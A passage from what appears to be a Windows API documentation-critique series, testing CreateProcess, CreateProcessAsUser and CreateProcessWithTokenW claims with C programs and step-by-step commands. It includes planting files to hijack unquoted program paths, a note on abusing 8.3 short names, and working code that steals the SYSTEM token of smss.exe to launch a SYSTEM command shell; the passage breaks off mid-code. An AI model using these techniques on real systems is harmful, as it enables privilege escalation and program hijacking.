    	DWORD	dwDrives;
    	DWORD	dwDrive;
    	WCHAR	szDrive[] = L"@:";
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #if 0
    		if (ExpandEnvironmentStrings(L"%CommonProgramFiles%\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
    #elif 0
    		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Common Files\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
    #elif 0
    		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Internet Explorer\\IExplore.exe",
    #elif 0
    		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows Mail\\WAB.exe",
    #else
    		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows NT\\Accessories\\WordPad.exe",
    #endif
    		                             szProcess,
    		                             sizeof(szProcess) / sizeof(*szProcess)) == 0UL)
    			PrintConsole(hError,
    			             L"ExpandEnvironmentStrings() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			if (!CreateProcess((LPCWSTR) NULL,
    			                   szProcess,
    			                   (LPSECURITY_ATTRIBUTES) NULL,
    			                   (LPSECURITY_ATTRIBUTES) NULL,
    			                   FALSE,
    			                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    			                   (LPWSTR) NULL,
    			                   (LPCWSTR) NULL,
    			                   &si,
    			                   &pi))
    				PrintConsole(hError,
    				             L"CreateProcess() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #if 0	// BUG: GetModuleFileNameEx() fails with ERROR_INVALID_HANDLE
    				dwProcess = GetModuleFileNameEx(pi.hProcess,
    				                                (HMODULE) NULL,
    				                                szProcess,
    				                                sizeof(szProcess) / sizeof(*szProcess));
    				if (dwProcess == 0UL)
    					PrintConsole(hError,
    					             L"GetModuleFileNameEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					PrintConsole(hError,
    					             L"Child process %lu loaded from image file \'%ls\'\n",
    					             pi.dwProcessId, szProcess);
    #else
    				dwProcess = GetProcessImageFileName(pi.hProcess,
    				                                    szProcess,
    				                                    sizeof(szProcess) / sizeof(*szProcess));
    				if (dwProcess == 0UL)
    					PrintConsole(hError,
    					             L"GetProcessImageFileName() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					dwDrives = GetLogicalDrives();
    
    					if (dwDrives == 0UL)
    						PrintConsole(hError,
    						             L"GetLogicalDrives() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    						while (_BitScanForward(&dwDrive, dwDrives))
    						{
    							dwDrives &= dwDrives - 1UL;
    							szDrive[0] = L'A' + (WORD) dwDrive;
    
    							if (QueryDosDevice(szDrive,
    							                   szDevice,
    							                   sizeof(szDevice) / sizeof(*szDevice)) == 0UL)
    								PrintConsole(hError,
    								             L"QueryDosDevice() returned error %lu\n",
    								             dwError = GetLastError());
    							else
    							{
    								dwDevice = wcslen(szDevice);
    #ifndef _WIN64
    								if ((dwProcess > dwDevice)
    								 && (szProcess[dwDevice] == L'\\')
    								 && (memcmp(szProcess, szDevice, dwDevice * sizeof(*szDevice)) == 0))
    								{
    									szProcess[--dwDevice] = L':';
    									szProcess[--dwDevice] = L'A' + (WORD) dwDrive;
    
    									PrintConsole(hError,
    									             L"Child process %lu loaded from image file \'%ls\'\n",
    									             pi.dwProcessId, szProcess + dwDevice);
    								}
    #else // _WIN64
    								if ((dwProcess > dwDevice)
    								 && (szProcess[dwDevice] == L'\\'))
    								{
    									szProcess[dwDevice] = L'\0';
    
    									if (wcscmp(szProcess, szDevice) != 0)
    										szProcess[dwDevice] = L'\\';
    									else
    									{
    										szProcess[dwDevice--] = L'\\';
    										szProcess[dwDevice--] = L':';
    										szProcess[dwDevice] = L'A' + (WORD) dwDrive;
    
    										PrintConsole(hError,
    										             L"Child process %lu loaded from image file \'%ls\'\n",
    										             pi.dwProcessId, szProcess + dwDevice);
    									}
    								}
    #endif // _WIN64
    							}
    						}
    				}
    #endif
    				PrintConsole(hError,
    				             L"Child process %lu with primary thread %lu created\n",
    				             pi.dwProcessId, pi.dwThreadId);
    
    				if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    					PrintConsole(hError,
    					             L"WaitForSingleObject() returned error %lu\n",
    					             dwError = GetLastError());
    
    				if (!GetExitCodeThread(pi.hThread, &dwThread))
    					PrintConsole(hError,
    					             L"GetExitCodeThread() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (dwThread > 65535UL)
    						PrintConsole(hError,
    						             L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
    						             pi.dwThreadId, pi.dwProcessId, dwThread);
    					else
    						PrintConsole(hError,
    						             L"Primary thread %lu of child process %lu exited with code %lu\n",
    						             pi.dwThreadId, pi.dwProcessId, dwThread);
    
    				if (!CloseHandle(pi.hThread))
    					PrintConsole(hError,
    					             L"CloseHandle() returned error %lu\n",
    					             dwError = GetLastError());
    
    				if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    					PrintConsole(hError,
    					             L"WaitForSingleObject() returned error %lu\n",
    					             dwError = GetLastError());
    
    				if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
    					PrintConsole(hError,
    					             L"GetExitCodeProcess() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (dwProcess > 65535UL)
    						PrintConsole(hError,
    						             L"Child process %lu exited with code 0x%08lX\n",
    						             pi.dwProcessId, dwProcess);
    					else
    						PrintConsole(hError,
    						             L"Child process %lu exited with code %lu\n",
    						             pi.dwProcessId, dwProcess);
    
    				if (!CloseHandle(pi.hProcess))
    					PrintConsole(hError,
    					             L"CloseHandle() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib psapi.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    psapi.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code to demonstrate its proper function:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: close the window opened by WordPad to let the console application blunder.exe continue and terminate.
    Child process 8036 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe'
    Child process 8036 with primary thread 7568 created
    Primary thread 7568 of child process 8036 exited with code 0
    Child process 8036 exited with code 0
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
  4. Create an empty file Program in the root directory of the system drive and execute the console application blunder.exe a second time:

    COPY NUL: "%SystemDrive%\Program"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: on Windows Vista and later versions of Windows NT, creation of the empty file requires administrative access rights.

    Note: with delayed expansion enabled for the Command Processor, the path name %SystemDrive%\Program can be constructed as !ProgramFiles: %ProgramFiles:* =%=!.

            1 file(s) copied.
    CreateProcess() returned error 193
    
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH¹: the documentation for the CreateProcess*() functions cited above fails to enumerate the possible execution of C:\Program, i.e. a file without extension!
  5. Move the empty file C:\Program created in step 4. as file Windows into the directory %SystemDrive%\Program Files\ alias %ProgramFiles%\ and execute the console application blunder.exe a third time:

    MOVE "%SystemDrive%\Program" "%Program Files%\Windows"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: on Windows 2000 and later versions of Windows NT, moving the empty file requires administrative access rights.
    CreateProcess() returned error 193
    
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH²: the documentation for the CreateProcess*() functions cited above fails to enumerate the possible execution of C:\program files\sub as well as C:\program files\sub dir\program too!
  6. Rename the empty file %ProgramFiles%\Windows as %ProgramFiles%\Windows.exe, i.e. append the (default) extension, then create the empty directory %ProgramFiles%\Windows and execute the console application blunder.exe a fourth time:

    RENAME "%Program Files%\Windows" Windows.exe
    MKDIR "%Program Files%\Windows"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: on Windows 2000 and later versions of Windows NT, renaming the empty file and creation of the empty directory requires administrative access rights.
    Child process 8860 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe'
    Child process 8860 with primary thread 11828 created
    Primary thread 11828 of child process 8860 exited with code 0
    Child process 8860 exited with code 0
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH³: the documentation for the CreateProcess*() functions cited above fails to specify their behaviour when both a directory C:\program files\sub without extension and a file C:\program files\sub.exe with (default) extension exist – the latter is not executed then!
  7. Move both the empty file %ProgramFiles%\Windows.exe as Program.exe and the empty directory %ProgramFiles%\Windows as Program into the root directory of the system drive, then execute the console application blunder.exe a fifth time:

    MOVE "%Program Files%\Windows.exe" "%SystemDrive%\Program.exe"
    MOVE "%Program Files%\Windows" "%SystemDrive%\Program"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: on Windows 2000 and later versions of Windows NT, moving the empty file and the empty directory requires administrative access rights.
    Child process 5288 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe'
    Child process 5288 with primary thread 14340 created
    Primary thread 14340 of child process 5288 exited with code 0
    Child process 5288 exited with code 0
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH⁴: the documentation for the CreateProcess*() functions cited above fails to specify their behaviour when both a directory C:\program without extension and an executable image file C:\program.exe with (default) extension exist – the latter is not executed then!
  8. Remove the empty directory %SystemDrive%\Program and copy an arbitrary executable image file as %SystemDrive%\Program, then execute the console application blunder.exe a last time:

    RMDIR "%SystemDrive%\Program"
    COPY "%ComSpec%" "%SystemDrive%\Program"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Note: on Windows 10 and later versions of Windows NT, removing the empty directory requires administrative access rights.

    Note: on Windows Vista and later versions of Windows NT, copying the executable image file requires administrative access rights.

            1 file(s) copied.
    CreateProcess() returned error 193
    
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH⁵: the documentation for the CreateProcess*() functions cited above fails to specify their behaviour when two executable image files ‹filename› and ‹filename›.exe exist in the same directory – the latter is executed then, not the former!
  9. Finally delete the files %SystemDrive%\Program and %SystemDrive%\Program.exe:

    ERASE "%SystemDrive%\Program" "%SystemDrive%\Program.exe"
    Note: on Windows Vista and later versions of Windows NT, deleting the empty file requires administrative access rights.
Note: evaluation of the (undocumented) behaviour when a file or directory as well as a symbolic link or junction c:\program files\sub dir\program name exists next to c:\program files\sub dir\program name.exe respectively when a file or directory as well as a symbolic link or junction C:\Program Files\MyProgram\My Service exists next to C:\Program Files\MyProgram\My Service.exe is left as an exercise to the reader!

Caveat: unless 8.3 filename creation is disabled, users granted the SeRestorePrivilege alias SE_RESTORE_NAME privilege (typically members of the BUILTIN\Administrators and the BUILTIN\Backup Operators group) might just add short names via the SetFileShortName() function or the File SetShortName command of the FSUtil.exe utility, for example PROGRAM for the directory %ProgramFiles%\, PROGRAM.EXE for an arbitrary file %SystemDrive%\‹executable›, COMMON for the directory %CommonProgramFiles%\, COMMON.EXE for an arbitrary file %ProgramFiles%\‹executable›, INTERNET for the directory %ProgramFiles%\Internet Files\, INTERNET.EXE for an arbitrary file %ProgramFiles%\‹executable›, WINDOWS for the directory %ProgramFiles%\Windows NT\, WINDOWS.EXE for an arbitrary file %ProgramFiles%\‹executable›, etc.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 47

The documentation for the CreateProcessAsUser() function states:
Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.

Typically, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.

[…]

To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.

[…]

By default, CreateProcessAsUser creates the new process on a noninteractive window station with a desktop that is not visible and cannot receive user input. To enable user interaction with the new process, you must specify the name of the default interactive window station and desktop, "winsta0\default", in the lpDesktop member of the STARTUPINFO structure.

The documentation for the LogonUser function states too:
In most cases, the returned handle is a primary token that you can use in calls to the CreateProcessAsUser function. However, if you specify the LOGON32_LOGON_NETWORK flag, LogonUser returns an impersonation token that you cannot use in CreateProcessAsUser unless you call DuplicateTokenEx to convert it to a primary token.

Falsification

Perform the following 6 simple steps to show the blunder and prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <tlhelp32.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE	3UL	// "SeAssignPrimaryTokenPrivilege"
    
    const	TOKEN_PRIVILEGES	tpToken = {ANYSIZE_ARRAY, {SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
    
    	DWORD	dwError;
    #ifdef BLUNDER
    	DWORD	dwSession;
    #endif
    	DWORD	dwProcess = 0UL;
    	HANDLE	hSnapshot;
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hThread = GetCurrentThread();
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
    
    		if (hSnapshot == INVALID_HANDLE_VALUE)
    			PrintConsole(hError,
    			             L"CreateToolhelp32Snapshot() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			pe.dwSize = sizeof(pe);
    
    			if (!Process32First(hSnapshot, &pe))
    				PrintConsole(hError,
    				             L"Process32First() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				do
    					if ((pe.th32ParentProcessID == 4UL)
    					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
    						dwProcess = pe.th32ProcessID;
    				while (Process32Next(hSnapshot, &pe));
    
    				dwError = GetLastError();
    
    				if (dwError != ERROR_NO_MORE_FILES)
    					PrintConsole(hError,
    					             L"Process32Next() returned error %lu\n",
    					             dwError);
    			}
    
    			if (!CloseHandle(hSnapshot))
    				PrintConsole(hError,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		if (dwProcess == 0UL)
    		{
    			PrintConsole(hError,
    			             L"Process \'SMSS.exe\' not found!\n");
    
    			dwError = ERROR_NOT_FOUND;
    		}
    		else
    		{
    			if (!OpenProcessToken(hProcess,
    			                      TOKEN_QUERY,
    			                      &hToken))
    				PrintConsole(hError,
    				             L"OpenProcessToken() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifdef BLUNDER
    				if (!GetTokenInformation(hToken,
    				                         TokenSessionId,
    				                         &dwSession,
    				                         sizeof(dwSession),
    				                         &dwError))
    					PrintConsole(hError,
    					             L"GetTokenInformation() returned error %lu\n",
    					             dwError = GetLastError());
    #endif
    				if (!CloseHandle(hToken))
    					PrintConsole(hError,
    					             L"CloseHandle() returned error %lu\n",
    					             dwError = GetLastError());
    
    				hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
    				                       FALSE,
    				                       dwProcess);
    				if (hProcess == NULL)
    					PrintConsole(hError,
    					             L"OpenProcess() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					if (!OpenProcessToken(hProcess,
    					                      TOKEN_DUPLICATE | TOKEN_QUERY,
    					                      &hToken))
    						PrintConsole(hError,
    						             L"OpenProcessToken() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						if (!ImpersonateLoggedOnUser(hToken))
    							PrintConsole(hError,
    							             L"ImpersonateLoggedOnUser() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    						{
    							if (!CloseHandle(hToken))
    								PrintConsole(hError,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!OpenThreadToken(hThread,
    							                     TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
    							                     FALSE,
    							                     &hToken))
    								PrintConsole(hError,
    								             L"OpenThreadToken() returned error %lu\n",
    								             dwError = GetLastError());
    							else
    							{
    #ifdef BLUNDER
    								if (!SetTokenInformation(hToken,
    								                         TokenSessionId,
    								                         &dwSession,
    								                         sizeof(dwSession)))
    									PrintConsole(hError,
    									             L"SetTokenInformation() returned error %lu\n",
    									             dwError = GetLastError());
    #endif
    								AdjustTokenPrivileges(hToken,
    								                      FALSE,
    								                      &tpToken,
    								                      0UL,
    								                      (TOKEN_PRIVILEGES *) NULL,
    								                      (LPDWORD) NULL);
    
    								dwError = GetLastError();
    
    								if (dwError != ERROR_SUCCESS)
    									PrintConsole(hError,
    									             L"AdjustTokenPrivileges() returned error %lu\n",
    									             dwError);
    								else
    									if (!CreateProcessAsUser(hToken,
    									                         L"C:\\Windows\\System32\\Cmd.exe",
    									                         L"%COMSPEC% /D /T:4F",
    									                         (LPSECURITY_ATTRIBUTES) NULL,
    									                         (LPSECURITY_ATTRIBUTES) NULL,
    									                         FALSE,
    									                         CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    									                         L"\0",
    									                         L"..",
    									                         &si,
    									                         &pi))
    										PrintConsole(hError,
    										             L"CreateProcessAsUser() returned error %lu\n",
    										             dwError = GetLastError());
    									else
    									{
    										if (!CloseHandle(pi.hThread))
    											PrintConsole(hError,
    											             L"CloseHandle() returned error %lu\n",
    											             dwError = GetLastError());
    
    										if (!CloseHandle(pi.hProcess))
    											PrintConsole(hError,
    											             L"CloseHandle() returned error %lu\n",
    											             dwError = GetLastError());
    									}
    							}
    
    							if (!RevertToSelf())
    								PrintConsole(hError,
    								             L"RevertToSelf() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						if (!CloseHandle(hToken))
    							PrintConsole(hError,
    							             L"CloseHandle() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    
    					if (!CloseHandle(hProcess))
    						PrintConsole(hError,
    						             L"CloseHandle() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  3. Create the text file blunder.exe.manifest with the following content next to the console application blunder.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application blunder.exe built in step 2. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateProcessAsUser() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    Note: the Win32 error code 5 alias ERROR_ACCESS_DENIED is expected here – the CreateProcessAsUser() function runs in session 0 and has no access right for the interactive Window Station and its Desktop.

    OOPS¹: the Win32 function CreateProcessAsUser() does not fail with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD – contrary to the first highlighted statement of its documentation cited above it does not require the SE_INCREASE_QUOTA_NAME privilege!

    OOPS²: contrary to the second highlighted statement of its documentation cited above, and contrary to the highlighted statement of the documentation for the Win32 function LogonUser cited above too, it also does not need to be called with a primary token, but accepts an impersonation token as well!

  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  6. Execute the console application blunder.exe built in step 5. with elevated access rights to demonstrate its proper function:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OOPS³: contrary to the third highlighted statement of its documentation cited above, the Win32 function CreateProcessAsUser() also works with an empty STARTUPINFO structure and does not require its lpDesktop member to be set!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 48

The documentation for the Win32 function CreateProcessWithTokenW() states:
A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. For more information, see Access Rights for Access-Token Objects. […]

To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.

Falsification

Perform the following 6 simple steps to show the blunder and prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <tlhelp32.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
    
    	DWORD	dwError;
    	DWORD	dwProcess = 0UL;
    	HANDLE	hSnapshot;
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    #ifdef BLUNDER
    	HANDLE	hThread = GetCurrentThread();
    #endif
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
    
    		if (hSnapshot == INVALID_HANDLE_VALUE)
    			PrintConsole(hError,
    			             L"CreateToolhelp32Snapshot() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			pe.dwSize = sizeof(pe);
    
    			if (!Process32First(hSnapshot, &pe))
    				PrintConsole(hError,
    				             L"Process32First() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				do
    					if ((pe.th32ParentProcessID == 4UL)
    					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
    						dwProcess = pe.th32ProcessID;
    				while (Process32Next(hSnapshot, &pe));
    
    				dwError = GetLastError();
    
    				if (dwError != ERROR_NO_MORE_FILES)
    					PrintConsole(hError,
    					             L"Process32Next() returned error %lu\n",
    					             dwError);
    			}
    
    			if (!CloseHandle(hSnapshot))
    				PrintConsole(hError,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		if (dwProcess == 0UL)
    		{
    			PrintConsole(hError,
    			             L"Process \'SMSS.exe\' not found!\n");
    
    			dwError = ERROR_NOT_FOUND;
    		}
    		else
    		{
    			hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
    			                       FALSE,
    			                       dwProcess);
    			if (hProcess == NULL)
    				PrintConsole(hError,
    				             L"OpenProcess() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				if (!OpenProcessToken(hProcess,
    #ifndef BLUNDER
    				                      TOKEN_ASSIGN_PRIMARY |
    #endif
    				                      TOKEN_DUPLICATE | TOKEN_QUERY,
    				                      &hToken))
    					PrintConsole(hError,
    					             L"OpenProcessToken() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					if (!ImpersonateLoggedOnUser(hToken))
    						PrintConsole(hError,
    						             L"ImpersonateLoggedOnUser() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    #ifdef BLUNDER
    						if (!CloseHandle(hToken))
    							PrintConsole(hError,
    							             L"CloseHandle() returned error %lu\n",
    							             dwError = GetLastError());
    
    						if (!OpenThreadToken(hThread,
    						                     TOKEN_ALL_ACCESS,
    						                     FALSE,
    						                     &hToken))
    							PrintConsole(hError,
    							             L"OpenThreadToken() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    #endif
    							if (!CreateProcessWithTokenW(hToken,
    							                             0UL,
    							                             L"C:\\Windows\\System32\\Cmd.exe",
    							                             L"%COMSPEC% /D /T:4F",
    							                             CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    							                             L"SystemRoot=C:\\Windows\0",
    							                             L"..",
    							                             &si,
    							                             &pi))
    								PrintConsole(hError,
    								             L"CreateProcessWithTokenW() returned error %lu\n",
    								             dwError = GetLastError());
    							else
    							{
    								if (!CloseHandle(pi.hThread))
    									PrintConsole(hError,
    									             L"CloseHandle() returned error %lu\n",
    									             dwError = GetLastError());
    
    								if (!CloseHandle(pi.hProcess))
    									PrintConsole(hError,
    									             L"CloseHandle() returned error %lu\n",
    									             dwError = GetLastError());
    							}
    
    						if (!RevertToSelf())
    							PrintConsole(hError,
    							             L"RevertToSelf() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    
    					if (!CloseHandle(hToken))
    						PrintConsole(hError,
